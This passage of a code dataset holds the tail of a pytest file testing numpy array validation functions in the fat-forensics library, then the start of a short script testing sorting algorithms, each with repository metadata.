assert fuav.is_base_array(\n                        np.zeros((1, ), dtype=dtype)) is True\n                elif dtype is np.void:  # pragma: no cover\n                    if not fut.at_least_verion([1, 12], NP_VER):\n                        with pytest.raises(TypeError) as exin:\n                            fuav.is_base_array(np.ones((1, ), dtype=dtype))\n                        assert str(exin.value) == NP_VER_TYPEERROR_MSG_12\n                        with pytest.raises(TypeError) as exin:\n                            fuav.is_base_array(\n                                np.zeros((1, ), dtype=dtype))\n                        assert str(exin.value) == NP_VER_TYPEERROR_MSG_12\n                        with pytest.raises(TypeError) as exin:\n                            fuav.is_base_array(\n                                np.empty((1, ), dtype=dtype))\n                        assert str(exin.value) == NP_VER_TYPEERROR_MSG_12\n                    elif not fut.at_least_verion([1, 14], NP_VER):\n                        with pytest.raises(TypeError) as exin:\n                            fuav.is_base_array(np.ones((1, ), dtype=dtype))\n                        assert str(exin.value) == NP_VER_TYPEERROR_MSG_14\n                        assert fuav.is_base_array(\n                            np.zeros((1, ), dtype=dtype)) is False\n                        assert fuav.is_base_array(\n                            np.empty((1, ), dtype=dtype)) is False\n                    else:\n                        assert fuav.is_base_array(\n                            np.ones((1, ), dtype=dtype)) is False\n                        assert fuav.is_base_array(\n                            np.zeros((1, ), dtype=dtype)) is False\n                        assert fuav.is_base_array(\n                            np.empty((1, ), dtype=dtype)) is False\n                else:\n                    assert fuav.is_base_array(\n                        np.zeros((1, ), dtype=dtype)) is False\n                    assert fuav.is_base_array(\n                        np.empty((1, ), dtype=dtype)) is False\n                    assert fuav.is_base_array(\n                        np.ones((1, ), dtype=dtype)) is False\n        else:\n            for dtype in dtypes:\n                assert fuav.is_base_array(\n                    np.empty((1, ), dtype=dtype)) is True\n                assert fuav.is_base_array(\n                    np.ones((1, ), dtype=dtype)) is True\n                assert fuav.is_base_array(\n                    np.zeros((1, ), dtype=dtype)) is True\n        # yapf: enable\n\n\ndef test_is_2d_array():\n    \"\"\"\n    Tests :func:`fatf.utils.array.validation.is_2d_array` function.\n    \"\"\"\n    # pylint: disable=too-many-branches,too-many-locals,too-many-nested-blocks\n    # pylint: disable=too-many-statements\n    type_error = 'The input should be a numpy array-like.'\n    warning_message = ('2-dimensional arrays with 1D structured elements are '\n                       'not acceptable. Such a numpy array can be expressed '\n                       'as a classic 2D numpy array with a desired type.')\n    # Test any object\n    with pytest.raises(TypeError) as exin:\n        fuav.is_2d_array(None)\n    assert str(exin.value) == type_error\n\n    # Test simple numerical and not numerical arrays\n    for i in NUMERICAL_KINDS + NOT_NUMERICAL_KINDS:\n        for j in [[[i] * 2] * 2]:\n            assert fuav.is_2d_array(np.array(j)) is True\n        for j in [i, [i], [i] * 2, [[[i] * 2] * 2] * 2]:\n            assert fuav.is_2d_array(np.array(j)) is False\n\n    # Test simple and complex numerical and not numerical arrays\n    assert fuav.is_2d_array(NUMERICAL_NP_ARRAY) is True\n    assert fuav.is_2d_array(NOT_NUMERICAL_NP_ARRAY) is True\n    assert fuav.is_2d_array(NUMERICAL_STRUCTURED_ARRAY) is True\n    assert fuav.is_2d_array(NOT_NUMERICAL_STRUCTURED_ARRAY) is True\n    assert fuav.is_2d_array(WIDE_NP_ARRAY) is True\n    assert fuav.is_2d_array(WIDE_STRUCTURED_ARRAY) is True\n\n    # Test simple types\n    square_shapes = [(0, 0), (0, 1), (1, 0), (1, 1), (2, 1), (2, 2)]\n    not_square_shapes = [(0, ), (1, ), (2, ), (0, 0, 0), (1, 0, 0), (0, 1, 0),\n                         (0, 0, 1), (1, 1, 0), (0, 1, 1), (1, 0, 1), (1, 1, 1),\n                         (2, 2, 2), (2, 1, 1), (2, 2, 1)]\n    for _, dtypes in np.sctypes.items():\n        for dtype in dtypes:\n            for shape in square_shapes:\n                if dtype is np.void:  # pragma: no cover\n                    if not fut.at_least_verion([1, 12], NP_VER):\n                        with pytest.raises(TypeError) as exin:\n                            fuav.is_2d_array(np.ones(shape=shape, dtype=dtype))\n                        assert str(exin.value) == NP_VER_TYPEERROR_MSG_12\n                        with pytest.raises(TypeError) as exin:\n                            fuav.is_2d_array(\n                                np.zeros(shape=shape, dtype=dtype))\n                        assert str(exin.value) == NP_VER_TYPEERROR_MSG_12\n                        with pytest.raises(TypeError) as exin:\n                            fuav.is_2d_array(\n                                np.empty(shape=shape, dtype=dtype))\n                        assert str(exin.value) == NP_VER_TYPEERROR_MSG_12\n                    elif not fut.at_least_verion([1, 14], NP_VER):\n                        if 0 not in shape:\n                            with pytest.raises(TypeError) as exin:\n                                fuav.is_2d_array(\n                                    np.ones(shape=shape, dtype=dtype))\n                            assert str(exin.value) == NP_VER_TYPEERROR_MSG_14\n                        else:\n                            ones = np.ones(shape=shape, dtype=dtype)\n                            assert fuav.is_2d_array(ones) is True\n                        zeros = np.zeros(shape=shape, dtype=dtype)\n                        assert fuav.is_2d_array(zeros) is True\n                        empty = np.empty(shape=shape, dtype=dtype)\n                        assert fuav.is_2d_array(empty) is True\n                    else:\n                        ones = np.ones(shape=shape, dtype=dtype)\n                        assert fuav.is_2d_array(ones) is True\n                        zeros = np.zeros(shape=shape, dtype=dtype)\n                        assert fuav.is_2d_array(zeros) is True\n                        empty = np.empty(shape=shape, dtype=dtype)\n                        assert fuav.is_2d_array(empty) is True\n                else:\n                    ones = np.ones(shape=shape, dtype=dtype)\n                    assert fuav.is_2d_array(ones) is True\n                    zeros = np.zeros(shape=shape, dtype=dtype)\n                    assert fuav.is_2d_array(zeros) is True\n                    empty = np.empty(shape=shape, dtype=dtype)\n                    assert fuav.is_2d_array(empty) is True\n            for shape in not_square_shapes:\n                if dtype is np.void:  # pragma: no cover\n                    if not fut.at_least_verion([1, 12], NP_VER):\n                        with pytest.raises(TypeError) as exin:\n                            fuav.is_2d_array(np.ones(shape=shape, dtype=dtype))\n                        assert str(exin.value) == NP_VER_TYPEERROR_MSG_12\n                        with pytest.raises(TypeError) as exin:\n                            fuav.is_2d_array(\n                                np.zeros(shape=shape, dtype=dtype))\n                        assert str(exin.value) == NP_VER_TYPEERROR_MSG_12\n                        with pytest.raises(TypeError) as exin:\n                            fuav.is_2d_array(\n                                np.empty(shape=shape, dtype=dtype))\n                        assert str(exin.value) == NP_VER_TYPEERROR_MSG_12\n                    elif not fut.at_least_verion([1, 14], NP_VER):\n                        if 0 not in shape:\n                            with pytest.raises(TypeError) as exin:\n                                fuav.is_2d_array(\n                                    np.ones(shape=shape, dtype=dtype))\n                            assert str(exin.value) == NP_VER_TYPEERROR_MSG_14\n                        else:\n                            ones = np.ones(shape=shape, dtype=dtype)\n                            assert fuav.is_2d_array(ones) is False\n                        zeros = np.zeros(shape=shape, dtype=dtype)\n                        assert fuav.is_2d_array(zeros) is False\n                        empty = np.empty(shape=shape, dtype=dtype)\n                        assert fuav.is_2d_array(empty) is False\n                    else:\n                        ones = np.ones(shape=shape, dtype=dtype)\n                        assert fuav.is_2d_array(ones) is False\n                        zeros = np.zeros(shape=shape, dtype=dtype)\n                        assert fuav.is_2d_array(zeros) is False\n                        empty = np.empty(shape=shape, dtype=dtype)\n                        assert fuav.is_2d_array(empty) is False\n                else:\n                    ones = np.ones(shape=shape, dtype=dtype)\n                    assert fuav.is_2d_array(ones) is False\n                    zeros = np.zeros(shape=shape, dtype=dtype)\n                    assert fuav.is_2d_array(zeros) is False\n                    empty = np.empty(shape=shape, dtype=dtype)\n                    assert fuav.is_2d_array(empty) is False\n\n    # Complex types\n    arr = np.zeros(\n        3, dtype=[('x', 'f4'), ('y', np.float32), ('value', 'f4', (2, 2))])\n    assert fuav.is_2d_array(arr) is False\n    arr = np.ones((2, 2), dtype=arr.dtype[2])\n    assert fuav.is_2d_array(arr) is False\n    # yapf: disable\n    not_flat_dtype = [\n        NUMERICAL_STRUCTURED_ARRAY.dtype,\n        NOT_NUMERICAL_STRUCTURED_ARRAY.dtype]\n    flat_dtype = [\n        NUMERICAL_NP_ARRAY.dtype,\n        NOT_NUMERICAL_NP_ARRAY.dtype]\n    flat_struct = [\n        np.dtype([('n', NUMERICAL_STRUCTURED_ARRAY.dtype[0])]),\n        np.dtype([('n', NUMERICAL_STRUCTURED_ARRAY.dtype[1])]),\n        np.dtype([('n', NOT_NUMERICAL_STRUCTURED_ARRAY.dtype[0])]),\n        np.dtype([('n', NOT_NUMERICAL_STRUCTURED_ARRAY.dtype[1])])]\n    # yapf: enable\n    complex_flat_shapes = [(0, ), (1, ), (2, )]\n    complex_square_shapes = [(0, 0), (0, 1), (1, 0), (1, 1), (2, 1), (2, 2)]\n    complex_not_square_shapes = [(0, 0, 0), (1, 0, 0), (0, 1, 0),\n                                 (0, 0, 1), (1, 1, 0), (0, 1, 1),\n                                 (1, 0, 1), (1, 1, 1), (2, 2, 2),\n                                 (2, 1, 1), (2, 2, 1)]  # yapf: disable\n    # Structured arrays flat with multi-demnsional tuples\n    for shape in complex_not_square_shapes:\n        for dtype in not_flat_dtype + flat_dtype + flat_struct:\n            ones = np.ones(shape=shape, dtype=dtype)\n            assert fuav.is_2d_array(ones) is False\n            zeros = np.zeros(shape=shape, dtype=dtype)\n            assert fuav.is_2d_array(zeros) is False\n            empty = np.empty(shape=shape, dtype=dtype)\n            assert fuav.is_2d_array(empty) is False\n    for shape in complex_square_shapes:\n        for dtype in flat_dtype:\n            ones = np.ones(shape=shape, dtype=dtype)\n            assert fuav.is_2d_array(ones) is True\n            zeros = np.zeros(shape=shape, dtype=dtype)\n            assert fuav.is_2d_array(zeros) is True\n            empty = np.empty(shape=shape, dtype=dtype)\n            assert fuav.is_2d_array(empty) is True\n    for shape in complex_square_shapes:\n        for dtype in flat_struct:\n            ones = np.ones(shape=shape, dtype=dtype)\n            with pytest.warns(UserWarning) as warning:\n                assert fuav.is_2d_array(ones) is False\n            assert warning_message == str(warning[0].message)\n            zeros = np.zeros(shape=shape, dtype=dtype)\n            with pytest.warns(UserWarning) as warning:\n                assert fuav.is_2d_array(zeros) is False\n            assert warning_message == str(warning[0].message)\n            empty = np.empty(shape=shape, dtype=dtype)\n            with pytest.warns(UserWarning) as warning:\n                assert fuav.is_2d_array(empty) is False\n            assert warning_message == str(warning[0].message)\n    for shape in complex_square_shapes:\n        for dtype in not_flat_dtype:\n            ones = np.ones(shape=shape, dtype=dtype)\n            assert fuav.is_2d_array(ones) is False\n            zeros = np.zeros(shape=shape, dtype=dtype)\n            assert fuav.is_2d_array(zeros) is False\n            empty = np.empty(shape=shape, dtype=dtype)\n            assert fuav.is_2d_array(empty) is False\n    for shape in complex_flat_shapes:\n        for dtype in flat_dtype:\n            ones = np.ones(shape=shape, dtype=dtype)\n            assert fuav.is_2d_array(ones) is False\n            zeros = np.zeros(shape=shape, dtype=dtype)\n            assert fuav.is_2d_array(zeros) is False\n            empty = np.empty(shape=shape, dtype=dtype)\n            assert fuav.is_2d_array(empty) is False\n    for shape in complex_flat_shapes:\n        for dtype in not_flat_dtype + flat_struct:\n            ones = np.ones(shape=shape, dtype=dtype)\n            assert fuav.is_2d_array(ones) is True\n            zeros = np.zeros(shape=shape, dtype=dtype)\n            assert fuav.is_2d_array(zeros) is True\n            empty = np.empty(shape=shape, dtype=dtype)\n            assert fuav.is_2d_array(empty) is True\n\n\ndef test_is_1d_array():\n    \"\"\"\n    Tests :func:`fatf.utils.array.validation.is_1d_array` function.\n    \"\"\"\n    # pylint: disable=too-many-branches,too-many-locals,too-many-statements\n    # pylint: disable=too-many-nested-blocks\n    type_error = 'The input should be a numpy array-like.'\n    warning_message = ('Structured (pseudo) 1-dimensional arrays are not '\n                       'acceptable. A 1-dimensional structured numpy array '\n                       'can be expressed as a classic numpy array with a '\n                       'desired type.')\n    # Test any object\n    with pytest.raises(TypeError) as exin:\n        fuav.is_1d_array(None)\n    assert str(exin.value) == type_error\n    # Test structured array row\n    with pytest.raises(TypeError) as exin:\n        fuav.is_1d_array(NUMERICAL_STRUCTURED_ARRAY[0])\n    assert str(exin.value) == type_error\n\n    # Test simple numerical and not numerical arrays\n    for i in NUMERICAL_KINDS + NOT_NUMERICAL_KINDS:\n        for j in [[i], [i] * 2]:\n            assert fuav.is_1d_array(np.array(j)) is True\n        for j in [i, [[i] * 2] * 2, [[[i] * 2] * 2] * 2]:\n            assert fuav.is_1d_array(np.array(j)) is False\n\n    # Test complex numerical and not numerical arrays\n    assert fuav.is_1d_array(NUMERICAL_NP_ARRAY) is False\n    assert fuav.is_1d_array(NOT_NUMERICAL_NP_ARRAY) is False\n    #\n    assert fuav.is_1d_array(NUMERICAL_STRUCTURED_ARRAY) is False\n    assert fuav.is_1d_array(NOT_NUMERICAL_STRUCTURED_ARRAY) is False\n    #\n    assert fuav.is_1d_array(WIDE_NP_ARRAY) is False\n    assert fuav.is_1d_array(WIDE_STRUCTURED_ARRAY) is False\n\n    flat_shapes = [(0, ), (1, ), (2, )]\n    not_flat_shapes = [(0, 0), (0, 1), (1, 0), (1, 1), (2, 1), (2, 2),\n                       (0, 0, 0), (1, 0, 0), (0, 1, 0), (0, 0, 1), (1, 1, 0),\n                       (0, 1, 1), (1, 0, 1), (1, 1, 1), (2, 2, 2), (2, 1, 1),\n                       (2, 2, 1)]  # yapf: disable\n    for _, dtypes in np.sctypes.items():\n        for dtype in dtypes:\n            for shape in flat_shapes:\n                if dtype is np.void:  # pragma: no cover\n                    if not fut.at_least_verion([1, 12], NP_VER):\n                        with pytest.raises(TypeError) as exin:\n                            fuav.is_1d_array(np.ones(shape=shape, dtype=dtype))\n                        assert str(exin.value) == NP_VER_TYPEERROR_MSG_12\n                        with pytest.raises(TypeError) as exin:\n                            fuav.is_1d_array(\n                                np.zeros(shape=shape, dtype=dtype))\n                        assert str(exin.value) == NP_VER_TYPEERROR_MSG_12\n                        with pytest.raises(TypeError) as exin:\n                            fuav.is_1d_array(\n                                np.empty(shape=shape, dtype=dtype))\n                        assert str(exin.value) == NP_VER_TYPEERROR_MSG_12\n                    elif not fut.at_least_verion([1, 14], NP_VER):\n                        if 0 not in shape:\n                            with pytest.raises(TypeError) as exin:\n                                fuav.is_1d_array(\n                                    np.ones(shape=shape, dtype=dtype))\n                            assert str(exin.value) == NP_VER_TYPEERROR_MSG_14\n                        else:\n                            ones = np.ones(shape=shape, dtype=dtype)\n                            assert fuav.is_1d_array(ones) is True\n                        zeros = np.zeros(shape=shape, dtype=dtype)\n                        assert fuav.is_1d_array(zeros) is True\n                        empty = np.empty(shape=shape, dtype=dtype)\n                        assert fuav.is_1d_array(empty) is True\n                    else:\n                        ones = np.ones(shape=shape, dtype=dtype)\n                        assert fuav.is_1d_array(ones) is True\n                        zeros = np.zeros(shape=shape, dtype=dtype)\n                        assert fuav.is_1d_array(zeros) is True\n                        empty = np.empty(shape=shape, dtype=dtype)\n                        assert fuav.is_1d_array(empty) is True\n                else:\n                    ones = np.ones(shape=shape, dtype=dtype)\n                    assert fuav.is_1d_array(ones) is True\n                    zeros = np.zeros(shape=shape, dtype=dtype)\n                    assert fuav.is_1d_array(zeros) is True\n                    empty = np.empty(shape=shape, dtype=dtype)\n                    assert fuav.is_1d_array(empty) is True\n            for shape in not_flat_shapes:\n                if dtype is np.void:  # pragma: no cover\n                    if not fut.at_least_verion([1, 12], NP_VER):\n                        with pytest.raises(TypeError) as exin:\n                            fuav.is_1d_array(np.ones(shape=shape, dtype=dtype))\n                        assert str(exin.value) == NP_VER_TYPEERROR_MSG_12\n                        with pytest.raises(TypeError) as exin:\n                            fuav.is_1d_array(\n                                np.zeros(shape=shape, dtype=dtype))\n                        assert str(exin.value) == NP_VER_TYPEERROR_MSG_12\n                        with pytest.raises(TypeError) as exin:\n                            fuav.is_1d_array(\n                                np.empty(shape=shape, dtype=dtype))\n                        assert str(exin.value) == NP_VER_TYPEERROR_MSG_12\n                    elif not fut.at_least_verion([1, 14], NP_VER):\n                        if 0 not in shape:\n                            with pytest.raises(TypeError) as exin:\n                                fuav.is_1d_array(\n                                    np.ones(shape=shape, dtype=dtype))\n                            assert str(exin.value) == NP_VER_TYPEERROR_MSG_14\n                        else:\n                            ones = np.ones(shape=shape, dtype=dtype)\n                            assert fuav.is_1d_array(ones) is False\n                        zeros = np.zeros(shape=shape, dtype=dtype)\n                        assert fuav.is_1d_array(zeros) is False\n                        empty = np.empty(shape=shape, dtype=dtype)\n                        assert fuav.is_1d_array(empty) is False\n                    else:\n                        ones = np.ones(shape=shape, dtype=dtype)\n                        assert fuav.is_1d_array(ones) is False\n                        zeros = np.zeros(shape=shape, dtype=dtype)\n                        assert fuav.is_1d_array(zeros) is False\n                        empty = np.empty(shape=shape, dtype=dtype)\n                        assert fuav.is_1d_array(empty) is False\n                else:\n                    ones = np.ones(shape=shape, dtype=dtype)\n                    assert fuav.is_1d_array(ones) is False\n                    zeros = np.zeros(shape=shape, dtype=dtype)\n                    assert fuav.is_1d_array(zeros) is False\n                    empty = np.empty(shape=shape, dtype=dtype)\n                    assert fuav.is_1d_array(empty) is False\n\n    # yapf: disable\n    not_flat_dtype = [\n        NUMERICAL_STRUCTURED_ARRAY.dtype,\n        NOT_NUMERICAL_STRUCTURED_ARRAY.dtype]\n    flat_dtype = [\n        NUMERICAL_NP_ARRAY.dtype,\n        NOT_NUMERICAL_NP_ARRAY.dtype]\n    flat_struct = [\n        np.dtype([('n', NUMERICAL_STRUCTURED_ARRAY.dtype[0])]),\n        np.dtype([('n', NUMERICAL_STRUCTURED_ARRAY.dtype[1])]),\n        np.dtype([('n', NOT_NUMERICAL_STRUCTURED_ARRAY.dtype[0])]),\n        np.dtype([('n', NOT_NUMERICAL_STRUCTURED_ARRAY.dtype[1])])]\n    # yapf: enable\n    for shape in flat_shapes:\n        for dtype in flat_dtype:\n            ones = np.ones(shape=shape, dtype=dtype)\n            assert fuav.is_1d_array(ones) is True\n            zeros = np.zeros(shape=shape, dtype=dtype)\n            assert fuav.is_1d_array(zeros) is True\n            empty = np.empty(shape=shape, dtype=dtype)\n            assert fuav.is_1d_array(empty) is True\n    for shape in flat_shapes:\n        for dtype in flat_struct:\n            ones = np.ones(shape=shape, dtype=dtype)\n            with pytest.warns(UserWarning) as warning:\n                assert fuav.is_1d_array(ones) is False\n            assert warning_message == str(warning[0].message)\n            #\n            zeros = np.zeros(shape=shape, dtype=dtype)\n            with pytest.warns(UserWarning) as warning:\n                assert fuav.is_1d_array(zeros) is False\n            assert warning_message == str(warning[0].message)\n            #\n            empty = np.empty(shape=shape, dtype=dtype)\n            with pytest.warns(UserWarning) as warning:\n                assert fuav.is_1d_array(empty) is False\n            assert warning_message == str(warning[0].message)\n    for shape in flat_shapes:\n        for dtype in not_flat_dtype:\n            ones = np.ones(shape=shape, dtype=dtype)\n            assert fuav.is_1d_array(ones) is False\n            zeros = np.zeros(shape=shape, dtype=dtype)\n            assert fuav.is_1d_array(zeros) is False\n            empty = np.empty(shape=shape, dtype=dtype)\n            assert fuav.is_1d_array(empty) is False\n    for shape in not_flat_shapes:\n        for dtype in not_flat_dtype + flat_dtype + flat_struct:\n            ones = np.ones(shape=shape, dtype=dtype)\n            assert fuav.is_1d_array(ones) is False\n            zeros = np.zeros(shape=shape, dtype=dtype)\n            assert fuav.is_1d_array(zeros) is False\n            empty = np.empty(shape=shape, dtype=dtype)\n            assert fuav.is_1d_array(empty) is False\n\n\ndef test_is_structured_row():\n    \"\"\"\n    Tests :func:`fatf.utils.array.validation.is_structured_row` function.\n    \"\"\"\n    type_error = ('The input should be a row of a structured numpy array '\n                  '(numpy.void type).')\n    # Wrong type\n    with pytest.raises(TypeError) as exin:\n        fuav.is_structured_row(None)\n    assert str(exin.value) == type_error\n    # Simple arrays\n    with pytest.raises(TypeError) as exin:\n        fuav.is_structured_row(np.ones((7, 15), dtype=float))\n    assert str(exin.value) == type_error\n    with pytest.raises(TypeError) as exin:\n        fuav.is_structured_row(np.ones((4, ), dtype=float))\n    assert str(exin.value) == type_error\n    # Structured arrays\n    with pytest.raises(TypeError) as exin:\n        fuav.is_structured_row(NUMERICAL_STRUCTURED_ARRAY)\n    assert str(exin.value) == type_error\n    # Structured 0-dimensional arrays\n    with pytest.raises(TypeError) as exin:\n        fuav.is_structured_row(\n            np.array((1., (1 + 1j)), dtype=[('n', '<f8'), ('c', '<c16')]))\n    assert str(exin.value) == type_error\n    # Structured 1-dimensional arrays\n    with pytest.raises(TypeError) as exin:\n        fuav.is_structured_row(\n            np.array([(1., (1 + 1j))], dtype=[('n', '<f8'), ('c', '<c16')]))\n    assert str(exin.value) == type_error\n    with pytest.raises(TypeError) as exin:\n        fuav.is_structured_row(\n            np.array([(1., ), (2, ), (3, )], dtype=[('n', '<f8')]))\n    assert str(exin.value) == type_error\n    # Void types\n    void_array = np.array([b'123'], np.void)\n    with pytest.raises(TypeError) as exin:\n        fuav.is_structured_row(void_array)\n    assert str(exin.value) == type_error\n    assert not fuav.is_structured_row(void_array[0])\n    void_array = np.array([b'123', b'888'], np.void)\n    with pytest.raises(TypeError) as exin:\n        fuav.is_structured_row(void_array)\n    assert str(exin.value) == type_error\n    assert not fuav.is_structured_row(void_array[1])\n    # Structured rows\n    assert fuav.is_structured_row(NUMERICAL_STRUCTURED_ARRAY[0])\n    assert fuav.is_structured_row(NOT_NUMERICAL_STRUCTURED_ARRAY[1])\n    assert fuav.is_structured_row(BASE_STRUCTURED_ARRAY[2])\n    assert fuav.is_structured_row(NOT_BASE_STRUCTURED_ARRAY[3])\n\n\ndef test_is_1d_like():\n    \"\"\"\n    Tests :func:`fatf.utils.array.validation.is_1d_like` function.\n    \"\"\"\n    type_error = ('The input should either be a numpy array-like object '\n                  '(numpy.ndarray) or a row of a structured numpy array '\n                  '(numpy.void).')\n    # None type\n    with pytest.raises(TypeError) as exin:\n        fuav.is_1d_like(None)\n    assert str(exin.value) == type_error\n    # Array 2D\n    assert not fuav.is_1d_like(np.ones((42, 24), dtype=float))\n    # Array 1D\n    assert fuav.is_1d_like(np.ones((42, ), dtype=float))\n    # Structured 2D\n    assert not fuav.is_1d_like(NUMERICAL_STRUCTURED_ARRAY)\n    assert not fuav.is_1d_like(NOT_NUMERICAL_STRUCTURED_ARRAY)\n    assert not fuav.is_1d_like(BASE_STRUCTURED_ARRAY)\n    assert not fuav.is_1d_like(NOT_BASE_STRUCTURED_ARRAY)\n    # Structured 1D\n    assert not fuav.is_1d_like(\n        np.array([(1., (1 + 1j))], dtype=[('n', '<f8'), ('c', '<c16')]))\n    user_warning = ('Structured (pseudo) 1-dimensional arrays are not '\n                    'acceptable. A 1-dimensional structured numpy array can '\n                    'be expressed as a classic numpy array with a desired '\n                    'type.')\n    with pytest.warns(UserWarning) as warning:\n        assert not fuav.is_1d_like(\n            np.array([(1., ), (2, ), (3, )], dtype=[('n', '<f8')]))\n    assert str(warning[0].message) == user_warning\n    # Structured row\n    assert fuav.is_1d_like(NUMERICAL_STRUCTURED_ARRAY[0])\n    assert fuav.is_1d_like(NOT_NUMERICAL_STRUCTURED_ARRAY[1])\n    assert fuav.is_1d_like(BASE_STRUCTURED_ARRAY[2])\n    assert fuav.is_1d_like(NOT_BASE_STRUCTURED_ARRAY[3])\n    # Numpy void\n    void_array = np.array([b'123'], np.void)\n    assert fuav.is_1d_like(void_array)\n    assert not fuav.is_1d_like(void_array[0])\n    void_array = np.array([b'123', b'888'], np.void)\n    assert fuav.is_1d_like(void_array)\n    assert not fuav.is_1d_like(void_array[1])\n\n\ndef test_is_structured_array():\n    \"\"\"\n    Tests :func:`fatf.utils.array.validation.is_structured_array` function.\n    \"\"\"\n    type_error = 'The input should be a numpy array-like.'\n    # Test any object\n    with pytest.raises(TypeError) as exin:\n        fuav.is_structured_array(None)\n    assert str(exin.value) == type_error\n\n    assert fuav.is_structured_array(NUMERICAL_NP_ARRAY) is False\n    assert fuav.is_structured_array(NOT_NUMERICAL_NP_ARRAY) is False\n    assert fuav.is_structured_array(WIDE_NP_ARRAY) is False\n    assert fuav.is_structured_array(NUMERICAL_STRUCTURED_ARRAY) is True\n    assert fuav.is_structured_array(NOT_NUMERICAL_STRUCTURED_ARRAY) is True\n    assert fuav.is_structured_array(WIDE_STRUCTURED_ARRAY) is True\n\n    shapes = [(0, ), (1, ), (2, ), (0, 0), (0, 1), (1, 0), (1, 1), (2, 1),\n              (2, 2), (0, 0, 0), (1, 0, 0), (0, 1, 0), (0, 0, 1), (1, 1, 0),\n              (0, 1, 1), (1, 0, 1), (1, 1, 1), (2, 2, 2), (2, 1, 1), (2, 2, 1)]\n    # yapf: disable\n    basic_dtype = [\n        NUMERICAL_NP_ARRAY.dtype,\n        NOT_NUMERICAL_NP_ARRAY.dtype,\n        NUMERICAL_STRUCTURED_ARRAY.dtype[0],\n        NUMERICAL_STRUCTURED_ARRAY.dtype[1],\n        NOT_NUMERICAL_STRUCTURED_ARRAY.dtype[0],\n        NOT_NUMERICAL_STRUCTURED_ARRAY.dtype[1]]\n    struct_dtype = [\n        NUMERICAL_STRUCTURED_ARRAY.dtype,\n        NOT_NUMERICAL_STRUCTURED_ARRAY.dtype,\n        np.dtype([('n', NUMERICAL_STRUCTURED_ARRAY.dtype[0])]),\n        np.dtype([('n', NUMERICAL_STRUCTURED_ARRAY.dtype[1])]),\n        np.dtype([('n', NOT_NUMERICAL_STRUCTURED_ARRAY.dtype[0])]),\n        np.dtype([('n', NOT_NUMERICAL_STRUCTURED_ARRAY.dtype[1])])]\n    # yapf: enable\n    for shape in shapes:\n        for dtype in basic_dtype:\n            ones = np.ones(shape=shape, dtype=dtype)\n            assert fuav.is_structured_array(ones) is False\n            zeros = np.zeros(shape=shape, dtype=dtype)\n            assert fuav.is_structured_array(zeros) is False\n            empty = np.empty(shape=shape, dtype=dtype)\n            assert fuav.is_structured_array(empty) is False\n        for dtype in struct_dtype:\n            ones = np.ones(shape=shape, dtype=dtype)\n            assert fuav.is_structured_array(ones) is True\n            zeros = np.zeros(shape=shape, dtype=dtype)\n            assert fuav.is_structured_array(zeros) is True\n            empty = np.empty(shape=shape, dtype=dtype)\n            assert fuav.is_structured_array(empty) is True\n", "meta": {"hexsha": "dd578a0de5070f7bd09023af4554b0f2dbc1b9b2", "size": 61004, "ext": "py", "lang": "Python", "max_stars_repo_path": "fatf/utils/array/tests/test_validation_array.py", "max_stars_repo_name": "RafaelPo/fat-forensics", "max_stars_repo_head_hexsha": "edd3c7e149c4534d76fe2241bc919afc5c3c4581", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "fatf/utils/array/tests/test_validation_array.py", "max_issues_repo_name": "RafaelPo/fat-forensics", "max_issues_repo_head_hexsha": "edd3c7e149c4534d76fe2241bc919afc5c3c4581", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "fatf/utils/array/tests/test_validation_array.py", "max_forks_repo_name": "RafaelPo/fat-forensics", "max_forks_repo_head_hexsha": "edd3c7e149c4534d76fe2241bc919afc5c3c4581", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 46.9622786759, "max_line_length": 79, "alphanum_fraction": 0.5939118746, "include": true, "reason": "import numpy", "num_tokens": 15211, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.3923368301671084, "lm_q2_score": 0.12765262366243563, "lm_q1q2_score": 0.05008282573023481}}
{"text": "#!/Users/bernardroesler/anaconda3/envs/insight/bin/python3\n#==============================================================================\n#     File: sorting_tests.py\n#  Created: 07/05/2018, 17:32\n#   Author: Bernie Roesler\n#\n\"\"\"\n  Description: Test various sorting algorithms\n\"\"\"\n#==============================================================================\n\nimport numpy as np\n\nfrom sorting_algos import bubble_sort, selection_sort, insertion_sort,\\\n                          merge_sort, quick_sort, heap_sort\n\ndef should_be(x):\n    \"\"\"Test a condition.\"\"\"\n    global tests, fails\n    tests += 1\n    if not x:\n        fails += 1\n\n# Define test cases\nA = [8, 4, 3, 2, 1, 7, 6, 0, 5, 9]\nsorted_A = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]\n\n# sort_funs = [bubble_sort, selection_sort, insertion_sort,\\\n#              merge_sort, quick_sort]\nsort_funs = [heap_sort]\n\n#------------------------------------------------------------------------------\n#        Run general sorting algorithm tests\n#------------------------------------------------------------------------------\ntests = 0\nfails = 0\nfor sort in sort_funs:\n    should_be(sort([]) == [])                   # empty list\n    should_be(sort([0]) == [0])                 # single element list\n    should_be(sort([1, 1, 1]) == [1, 1, 1])     # all equal\n    # Pass a copy so we don't sort the original\n    should_be(sort(list(sorted_A)) == sorted_A) # sorted list\n    should_be(sort(list(A[::-1])) == sorted_A)  # reverse sorted list\n    should_be(sort(list(A)) == sorted_A)        # randomized A\n\nif fails > 0:\n    print(\"{}/{} tests failed!\".format(fails, tests))\nelse:\n    print(\"All {} test passed!\".format(tests))\n\n#==============================================================================\n#==============================================================================\n", "meta": {"hexsha": "abc310ac9fdf6e8408adbf9dc2a2ae05d1156ce3", "size": 1823, "ext": "py", "lang": "Python", "max_stars_repo_path": "algorithms/sorting_tests.py", "max_stars_repo_name": "broesler/insight_interview_prep", "max_stars_repo_head_hexsha": "8b634358854ae0c2a3569412bbb50b7f8b007978", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "algorithms/sorting_tests.py", "max_issues_repo_name": "broesler/insight_interview_prep", "max_issues_repo_head_hexsha": "8b634358854ae0c2a3569412bbb50b7f8b007978", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": 